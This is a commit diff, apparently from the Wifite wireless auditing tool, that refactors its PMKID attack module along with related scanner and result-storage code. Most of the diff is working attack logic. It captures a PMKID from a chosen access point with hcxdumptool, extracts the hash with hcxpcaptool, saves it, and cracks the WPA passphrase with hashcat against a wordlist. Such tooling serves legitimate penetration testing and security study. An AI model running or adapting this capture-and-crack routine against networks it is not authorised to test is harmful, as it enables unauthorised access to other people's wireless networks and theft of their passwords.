Cleaning up PMKID attack.
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
|
||||
from ..model.attack import Attack
|
||||
from ..config import Configuration
|
||||
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
|
||||
from ..util.color import Color
|
||||
from ..util.process import Process
|
||||
from ..util.timer import Timer
|
||||
@@ -11,155 +12,105 @@ from ..model.pmkid_result import CrackResultPMKID
|
||||
from threading import Thread
|
||||
import os
|
||||
import time
|
||||
import re
|
||||
|
||||
'''
|
||||
TODO:
|
||||
1. Rename AttackWPA to AttackWpaHandshake
|
||||
2. Rename AttackWPS to AttackWpaPixie
|
||||
3. Rename AttackPMKID to AttackWpaPMKID
|
||||
4. Use AttackWPA to try any or all of the above depending on config/args.
|
||||
Greatly simplifies the attack loop in wifite.py
|
||||
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
|
||||
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
|
||||
|
||||
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
|
||||
'''
|
||||
class AttackPMKID(Attack):
|
||||
|
||||
def __init__(self, target):
|
||||
super(AttackPMKID, self).__init__(target)
|
||||
self.crack_result = None
|
||||
self.success = False
|
||||
self.pcapng_output = Configuration.temp('pmkid.pcapng')
|
||||
self.pmkid_output = Configuration.temp('pmkid.16800')
|
||||
self.pcapng_file = Configuration.temp('pmkid.pcapng')
|
||||
|
||||
|
||||
def run(self):
|
||||
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
|
||||
# TODO: Check ./hs/ for previously-captured PMKID, skip to crack if found.
|
||||
self.keep_capturing = True
|
||||
self.timer = Timer(60)
|
||||
|
||||
# Start hcxdumptool
|
||||
t = Thread(target=self.hcxdump_thread)
|
||||
t = Thread(target=self.dumptool_thread)
|
||||
t.start()
|
||||
|
||||
# Regularly check hcxpcaptool output for hash for self.target.essid
|
||||
# Repeatedly run pcaptool & check output for hash for self.target.essid
|
||||
pmkid_hash = None
|
||||
pcaptool = HcxPcapTool(self.target)
|
||||
while self.timer.remaining() > 0:
|
||||
pmkid_hash = self.get_pmkid_hash()
|
||||
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
|
||||
if pmkid_hash is not None:
|
||||
# Got PMKID
|
||||
break
|
||||
Color.pattack('PMKID', self.target, 'capture',
|
||||
break # Got PMKID
|
||||
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE',
|
||||
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
|
||||
time.sleep(1)
|
||||
|
||||
if pmkid_hash is not None:
|
||||
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
|
||||
# When hash is found, start cracking
|
||||
if self.crack_pmkid(pmkid_hash):
|
||||
self.success = True
|
||||
|
||||
self.keep_capturing = False
|
||||
|
||||
return self.success
|
||||
if pmkid_hash is None:
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE',
|
||||
'{R}Failed{O} to capture PMKID.')
|
||||
return False # No hash found.
|
||||
|
||||
def crack_pmkid(self, pmkid_hash):
|
||||
# Write hash to file
|
||||
# TODO: Should we write this to ./hs/ with .pmkid suffix?
|
||||
hash_file = Configuration.temp('pmkid.hash')
|
||||
with open(hash_file, 'w') as f:
|
||||
f.write(pmkid_hash)
|
||||
f.write('\n')
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
|
||||
pmkid_file = self.save_pmkid(pmkid_hash)
|
||||
|
||||
# Run hashcat
|
||||
command = [
|
||||
'hashcat',
|
||||
'--force',
|
||||
'--quiet',
|
||||
'-m', '16800',
|
||||
'-a', '0', # TODO: Configure
|
||||
'-w', '2', # TODO: Configure
|
||||
hash_file,
|
||||
Configuration.wordlist
|
||||
]
|
||||
# Check that wordlist exists before cracking.
|
||||
if Configuration.wordlist is None:
|
||||
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not set.')
|
||||
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
|
||||
key = None
|
||||
else:
|
||||
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID... ')
|
||||
key = Hashcat.crack_pmkid(pmkid_file)
|
||||
|
||||
# TODO: Check status of hashcat (%); it's impossible with --quiet
|
||||
|
||||
try:
|
||||
hashcat_proc = Process(command)
|
||||
hashcat_proc.wait()
|
||||
stdout = hashcat_proc.stdout()
|
||||
except KeyboardInterrupt: # In case user gets impatient
|
||||
stdout = ''
|
||||
|
||||
if ':' not in stdout:
|
||||
# Failed
|
||||
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
|
||||
if key is None:
|
||||
# Failed to crack.
|
||||
Color.pattack('PMKID', self.target, 'CRACK',
|
||||
'{R}Failed{O} to crack PMKID ')
|
||||
Color.pl("")
|
||||
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
|
||||
#self.crack_result.dump()
|
||||
return False
|
||||
else:
|
||||
# Update Crack Result
|
||||
key = stdout.strip().split(':', 1)[1]
|
||||
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
|
||||
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
|
||||
# Successfully cracked.
|
||||
Color.pattack('PMKID', self.target, '',
|
||||
'{C}Cracked PMKID. Key: {G}%s{W}' % key)
|
||||
Color.pl("")
|
||||
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
|
||||
pmkid_hash, pmkid_file, key)
|
||||
self.crack_result.dump()
|
||||
self.success = True
|
||||
return True
|
||||
|
||||
def get_pmkid_hash(self):
|
||||
if os.path.exists(self.pmkid_output):
|
||||
os.remove(self.pmkid_output)
|
||||
|
||||
command = [
|
||||
'hcxpcaptool',
|
||||
'-z', self.pmkid_output,
|
||||
self.pcapng_output
|
||||
]
|
||||
hcxpcap_proc = Process(command)
|
||||
hcxpcap_proc.wait()
|
||||
|
||||
if not os.path.exists(self.pmkid_output):
|
||||
return None
|
||||
|
||||
with open(self.pmkid_output, 'r') as f:
|
||||
output = f.read()
|
||||
|
||||
# Check that we got the right target
|
||||
# pmkid_hash*bssid*station_mac*essid(hex)
|
||||
for line in output.split('\n'):
|
||||
fields = line.split('*')
|
||||
if len(fields) < 3:
|
||||
continue
|
||||
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
|
||||
continue
|
||||
output = line
|
||||
break
|
||||
|
||||
os.remove(self.pmkid_output)
|
||||
return output
|
||||
|
||||
def hcxdump_thread(self):
|
||||
# Create filterlist
|
||||
filterlist = Configuration.temp('pmkid.filterlist')
|
||||
with open(filterlist, 'w') as filter_file:
|
||||
filter_file.write(self.target.bssid.replace(':', ''))
|
||||
|
||||
if os.path.exists(self.pcapng_output):
|
||||
os.remove(self.pcapng_output)
|
||||
|
||||
command = [
|
||||
"hcxdumptool",
|
||||
"-i", Configuration.interface,
|
||||
"--filterlist", filterlist,
|
||||
"--filtermode", "2",
|
||||
"-c", self.target.channel,
|
||||
"-o", self.pcapng_output
|
||||
]
|
||||
|
||||
hcxdump_proc = Process(command)
|
||||
def dumptool_thread(self):
|
||||
dumptool = HcxDumpTool(self.target, self.pcapng_file)
|
||||
|
||||
# Let the dump tool run until we have the hash.
|
||||
while self.keep_capturing and hcxdump_proc.poll() == None:
|
||||
while self.keep_capturing and dumptool.poll() == None:
|
||||
time.sleep(0.5)
|
||||
|
||||
hcxdump_proc.interrupt()
|
||||
dumptool.interrupt()
|
||||
|
||||
|
||||
def save_pmkid(self, pmkid_hash):
|
||||
'''
|
||||
Saves a copy of the pmkid (handshake) to hs/
|
||||
'''
|
||||
# Create handshake dir
|
||||
if not os.path.exists(Configuration.wpa_handshake_dir):
|
||||
os.mkdir(Configuration.wpa_handshake_dir)
|
||||
|
||||
# Generate filesystem-safe filename from bssid, essid and date
|
||||
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
|
||||
bssid_safe = self.target.bssid.replace(':', '-')
|
||||
date = time.strftime('%Y-%m-%dT%H-%M-%S')
|
||||
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
|
||||
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
|
||||
|
||||
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
|
||||
with open(pmkid_file, 'w') as pmkid_handle:
|
||||
pmkid_handle.write(pmkid_hash)
|
||||
pmkid_handle.write('\n')
|
||||
Color.pl('{G}saved{W}')
|
||||
|
||||
return pmkid_file
|
||||
|
||||
@@ -5,11 +5,12 @@ from ..util.color import Color
|
||||
from .result import CrackResult
|
||||
|
||||
class CrackResultPMKID(CrackResult):
|
||||
def __init__(self, bssid, essid, pmkid_hash, key):
|
||||
def __init__(self, bssid, essid, pmkid_hash, pmkid_file, key):
|
||||
self.result_type = 'PMKID'
|
||||
self.bssid = bssid
|
||||
self.essid = essid
|
||||
self.pmkid_hash = pmkid_hash
|
||||
self.pmkid_file = pmkid_file
|
||||
self.key = key
|
||||
super(CrackResultPMKID, self).__init__()
|
||||
|
||||
@@ -24,7 +25,10 @@ class CrackResultPMKID(CrackResult):
|
||||
('Encryption'.rjust(19), self.result_type))
|
||||
if self.pmkid_hash:
|
||||
Color.pl('{+} %s: {C}%s{W}' %
|
||||
('PMKID'.rjust(19), self.pmkid_hash))
|
||||
('PMKID Hash'.rjust(19), self.pmkid_hash))
|
||||
if self.pmkid_file:
|
||||
Color.pl('{+} %s: {C}%s{W}' %
|
||||
('PMKID File'.rjust(19), self.pmkid_file))
|
||||
if self.key:
|
||||
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
|
||||
else:
|
||||
@@ -37,14 +41,15 @@ class CrackResultPMKID(CrackResult):
|
||||
'essid' : self.essid,
|
||||
'bssid' : self.bssid,
|
||||
'key' : self.key,
|
||||
'pmkid' : self.pmkid_hash
|
||||
'pmkid_hash' : self.pmkid_hash,
|
||||
'pmkid_file' : self.pmkid_file
|
||||
}
|
||||
|
||||
if __name__ == '__main__':
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'abcd1234')
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'abcd1234')
|
||||
w.dump()
|
||||
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'Key')
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'Key')
|
||||
print('\n')
|
||||
w.dump()
|
||||
w.save()
|
||||
|
||||
@@ -94,7 +94,8 @@ class CrackResult(object):
|
||||
from .pmkid_result import CrackResultPMKID
|
||||
result = CrackResultPMKID(json['bssid'],
|
||||
json['essid'],
|
||||
json['pmkid'],
|
||||
json['pmkid_hash'],
|
||||
json['pmkid_file'],
|
||||
json['key'])
|
||||
result.date = json['date']
|
||||
return result
|
||||
|
||||
@@ -137,7 +137,7 @@ class Airodump(Dependency):
|
||||
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
|
||||
os.remove(os.path.join(temp_dir, fil))
|
||||
|
||||
def get_targets(self, apply_filter=True):
|
||||
def get_targets(self, old_targets=[], apply_filter=True):
|
||||
''' Parses airodump's CSV file, returns list of Targets '''
|
||||
|
||||
# Find the .CSV file
|
||||
@@ -150,13 +150,17 @@ class Airodump(Dependency):
|
||||
return self.targets # No file found
|
||||
|
||||
targets = Airodump.get_targets_from_csv(csv_filename)
|
||||
for old_target in old_targets:
|
||||
for target in targets:
|
||||
if old_target.bssid == target.bssid:
|
||||
target.wps = old_target.wps
|
||||
|
||||
# Check targets for WPS
|
||||
if not self.skip_wps:
|
||||
capfile = csv_filename[:-3] + 'cap'
|
||||
try:
|
||||
Tshark.check_for_wps_and_update_targets(capfile, targets)
|
||||
except Exception as e:
|
||||
except ValueError:
|
||||
# No tshark, or it failed. Fall-back to wash
|
||||
Wash.check_for_wps_and_update_targets(capfile, targets)
|
||||
|
||||
@@ -178,9 +182,6 @@ class Airodump(Dependency):
|
||||
new_target.decloaked = True
|
||||
self.decloaked_bssids.add(new_target.bssid)
|
||||
|
||||
if self.pid.poll() is not None:
|
||||
raise Exception('Airodump has stopped')
|
||||
|
||||
self.targets = targets
|
||||
self.deauth_hidden_targets()
|
||||
|
||||
|
||||
@@ -161,7 +161,7 @@ class Tshark(Dependency):
|
||||
'''
|
||||
|
||||
if not Tshark.exists():
|
||||
raise Exception('Cannot detect WPS networks: Tshark does not exist')
|
||||
raise ValueError('Cannot detect WPS networks: Tshark does not exist')
|
||||
|
||||
command = [
|
||||
'tshark',
|
||||
|
||||
@@ -36,15 +36,18 @@ class Scanner(object):
|
||||
while True:
|
||||
if airodump.pid.poll() is not None:
|
||||
# Airodump process died
|
||||
self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
|
||||
raise KeyboardInterrupt
|
||||
return
|
||||
|
||||
self.targets = airodump.get_targets()
|
||||
self.targets = airodump.get_targets(old_targets=self.targets)
|
||||
|
||||
if self.found_target():
|
||||
# We found the target we want
|
||||
return
|
||||
|
||||
if airodump.pid.poll() is not None:
|
||||
# Airodump process died
|
||||
return
|
||||
|
||||
for target in self.targets:
|
||||
if target.bssid in airodump.decloaked_bssids:
|
||||
target.decloaked = True
|
||||
@@ -69,6 +72,7 @@ class Scanner(object):
|
||||
return
|
||||
|
||||
sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
@@ -193,7 +197,7 @@ class Scanner(object):
|
||||
input_str += ' or {G}all{W}: '
|
||||
|
||||
chosen_targets = []
|
||||
|
||||
|
||||
for choice in raw_input(Color.s(input_str)).split(','):
|
||||
choice = choice.strip()
|
||||
if choice.lower() == 'all':
|
||||
|
||||
Reference in New Issue
Block a user